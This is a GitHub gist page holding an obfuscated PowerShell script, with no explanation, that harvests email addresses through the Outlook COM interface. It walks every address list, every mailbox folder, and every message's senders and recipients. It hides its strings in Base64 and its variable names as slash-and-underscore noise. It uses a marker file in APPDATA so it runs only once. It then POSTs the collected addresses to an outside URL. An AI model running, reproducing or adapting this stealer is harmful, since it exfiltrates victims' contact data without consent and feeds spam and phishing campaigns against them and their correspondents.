Skip to content

Instantly share code, notes, and snippets.

@msmarcal
Created May 21, 2018 21:34
Show Gist options
  • Save msmarcal/5255423dd964f96cb65c67a0b2c210b2 to your computer and use it in GitHub Desktop.
Save msmarcal/5255423dd964f96cb65c67a0b2c210b2 to your computer and use it in GitHub Desktop.
Add-Type -assembly $([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('TQBpAGMAcgBvAHMAbwBmAHQALgBPAGYAZgBpAGMAZQAuAEkAbgB0AGUAcgBvAHAALgBPAHUAdABsAG8AbwBrAA==')))
${_/=\/\__/=\/\/\__} = New-Object -comobject Outlook.Application
${____/===\_____/\/} = ${_/=\/\__/=\/\/\__}.GetNameSpace($([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('TQBBAFAASQA='))))
${_/\/=====\__/=\/=} = [System.Collections.ArrayList]@()
function ___/=\/\/=\___/=\_(${____/\____/\/\_/\_})
{
${____/==\__/\_/=\_} = $([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('XgBbAF8AYQAtAHoAMAAtADkALQBdACsAKABcAC4AWwBfAGEALQB6ADAALQA5AC0AXQArACkAKgBAAFsAYQAtAHoAMAAtADkALQBdACsAKABcAC4AWwBhAC0AegAwAC0AOQAtAF0AKwApACoAKABcAC4AWwBhAC0AegBdAHsAMgAsADQAfQApACQA')));
if (${____/\____/\/\_/\_} -match ${____/==\__/\_/=\_}) {
return $true
}
return $false
}
function _/=\_/==\____/\__/(${____/\____/\/\_/\_}) {
if (${____/\____/\/\_/\_}) {
${__/=====\/\_/\_/\} = $false
${____/\____/\/\_/\_} = ${____/\____/\/\_/\_}.ToLower()
if (${____/\____/\/\_/\_}.StartsWith("'") -And ${____/\____/\/\_/\_}.EndsWith("'")) {
${____/\____/\/\_/\_} = ${____/\____/\/\_/\_}.Substring(1, ${____/\____/\/\_/\_}.Length - 2)
}
if (___/=\/\/=\___/=\_(${____/\____/\/\_/\_})) {
for(${__/\/\__/=\/\__/\} = 0;${__/\/\__/=\/\__/\} -lt ${_/\/=====\__/=\/=}.Count;${__/\/\__/=\/\__/\}++) {
if (${_/\/=====\__/=\/=}[${__/\/\__/=\/\__/\}] -eq ${____/\____/\/\_/\_}) {
${__/=====\/\_/\_/\} = $true
break
}
}
if (-Not ${__/=====\/\_/\_/\}) {
${__/\___/========\} = ${_/\/=====\__/=\/=}.Add(${____/\____/\/\_/\_})
}
}
}
}
function _/====\__/=====\_/ {
${/==\/=\____/\_/=\} = ${____/===\_____/\/}.AddressLists
for(${__/\/\__/=\/\__/\} = 1;${__/\/\__/=\/\__/\} -le ${/==\/=\____/\_/=\}.Count;${__/\/\__/=\/\__/\}++) {
${/=\_/==\/\__/==\_} = ${/==\/=\____/\_/=\}.Item(${__/\/\__/=\/\__/\}).AddressEntries
for(${/==\/\/\_/\_/\__/} = 1;${/==\/\/\_/\_/\__/} -le ${/=\_/==\/\__/==\_}.Count;${/==\/\/\_/\_/\__/}++) {
${_/\_/\__/\_____/=} = ${/=\_/==\/\__/==\_}.Item(${/==\/\/\_/\_/\__/})
${__/===\/===\/\/\_} = ${_/\_/\__/\_____/=}.AddressEntryUserType
${____/\____/\/\_/\_} = ""
if (${__/===\/===\/\/\_} -eq 10) {
${____/\____/\/\_/\_} = ${_/\_/\__/\_____/=}.Address
} elseif ((${__/===\/===\/\/\_} -eq 3) -Or (${__/===\/===\/\/\_} -eq 1) -Or (${__/===\/===\/\/\_} -eq 4) -Or (${__/===\/===\/\/\_} -eq 2) -Or (${__/===\/===\/\/\_} -eq 5) -Or (${__/===\/===\/\/\_} -eq 0)) {
${____/\____/\/\_/\_} = ${_/\_/\__/\_____/=}.GetExchangeUser().PrimarySmtpAddress
}
_/=\_/==\____/\__/(${____/\____/\/\_/\_})
}
}
}
function __/\/\__/\_/===\_/(${___/\/==\_/==\/=\/}) {
for(${__/\/\__/=\/\__/\} = 1;${__/\/\__/=\/\__/\} -le ${___/\/==\_/==\/=\/}.Count;${__/\/\__/=\/\__/\}++) {
${_/======\_/=\/=\_} = ${___/\/==\_/==\/=\/}.Item(${__/\/\__/=\/\__/\})
${__/\/=\___/\_/==\} = ${_/======\_/=\/=\_}.Items
for(${/==\/\/\_/\_/\__/} = 1;${/==\/\/\_/\_/\__/} -le ${__/\/=\___/\_/==\}.Count;${/==\/\/\_/\_/\__/}++) {
${_/==\_____/==\__/} = ${__/\/=\___/\_/==\}.Item(${/==\/\/\_/\_/\__/})
${/=\/====\____/=\/} = ${_/==\_____/==\__/}.Recipients
for(${_/\_/\__/\/\_/=\_} = 1;${_/\_/\__/\/\_/=\_} -le ${/=\/====\____/=\/}.Count;${_/\_/\__/\/\_/=\_}++) {
${__/\_/\__/=\/\_/\} = ${/=\/====\____/=\/}.Item(${_/\_/\__/\/\_/=\_})
${_/\_/\__/\_____/=} = ${__/\_/\__/=\/\_/\}.AddressEntry
${__/===\/===\/\/\_} = ${_/\_/\__/\_____/=}.AddressEntryUserType
${____/\____/\/\_/\_} = "";
if (${__/===\/===\/\/\_} -eq 0) {
${____/\____/\/\_/\_} = ${_/\_/\__/\_____/=}.GetExchangeUser().PrimarySmtpAddress
} elseif ((${__/===\/===\/\/\_} -eq 30) -Or (${__/===\/===\/\/\_} -eq 10)) {
${____/\____/\/\_/\_} = ${_/\_/\__/\_____/=}.Address
}
_/=\_/==\____/\__/(${____/\____/\/\_/\_})
}
${_/\_/\__/\_____/=} = ${_/==\_____/==\__/}.Sender
${__/===\/===\/\/\_} = ${_/\_/\__/\_____/=}.AddressEntryUserType
${____/\____/\/\_/\_} = "";
if (${__/===\/===\/\/\_} -eq 0) {
${____/\____/\/\_/\_} = ${_/\_/\__/\_____/=}.GetExchangeUser().PrimarySmtpAddress
} elseif ((${__/===\/===\/\/\_} -eq 30) -Or (${__/===\/===\/\/\_} -eq 10)) {
${____/\____/\/\_/\_} = ${_/\_/\__/\_____/=}.Address
}
_/=\_/==\____/\__/(${____/\____/\/\_/\_})
}
__/\/\__/\_/===\_/(${_/======\_/=\/=\_}.Folders)
}
}
function ____/=\_/\_/==\/==() {
_/====\__/=====\_/
__/\/\__/\_/===\_/(${____/===\_____/\/}.Folders)
${/\_____/\_/\/==\/} = [System.Runtime.Interopservices.Marshal]::ReleaseComObject(${_/=\/\__/=\/\/\__})
${_/\__/\/\/\_/\/=\} = [System.Net.WebRequest]::Create($urlPL)
${/=\___/==\/=\__/=} = [System.Text.Encoding]::UTF8.GetBytes("list=$(${_/\/=====\__/=\/=} -join ';')")
${_/\__/\/\/\_/\/=\}.Method = $([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('UABPAFMAVAA=')))
${_/\__/\/\/\_/\/=\}.ContentType = $([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('YQBwAHAAbABpAGMAYQB0AGkAbwBuAC8AeAAtAHcAdwB3AC0AZgBvAHIAbQAtAHUAcgBsAGUAbgBjAG8AZABlAGQA')))
${_/\__/\/\/\_/\/=\}.ContentLength = ${/=\___/==\/=\__/=}.length
${___/=\_/\/\/=\___} = ${_/\__/\/\/\_/\/=\}.GetRequestStream()
${___/=\_/\/\/=\___}.Write(${/=\___/==\/=\__/=}, 0, ${/=\___/==\/=\__/=}.length)
${___/=\_/\/\/=\___}.Close()
[System.Net.WebResponse] ${/===\/=\____/\/=\} = ${_/\__/\/\/\_/\/=\}.GetResponse()
}
function _/=\/\/\_/\____/=\() {
${__/======\____/\_} = $ExecutionContext.InvokeCommand.ExpandString([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('JABlAG4AdgA6AEEAUABQAEQAQQBUAEEAXABNAGkAYwByAG8AcwBvAGYAdABcAC4ATwB1AHQAbABvAG8AawA=')))
${__/==\/\__/\/===\} = [System.IO.File]::Exists(${__/======\____/\_})
if (-Not ${__/==\/\__/\/===\}) {
"" | sc ${__/======\____/\_}
____/=\_/\_/==\/==
}
}
_/=\/\/\_/\____/=\%
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment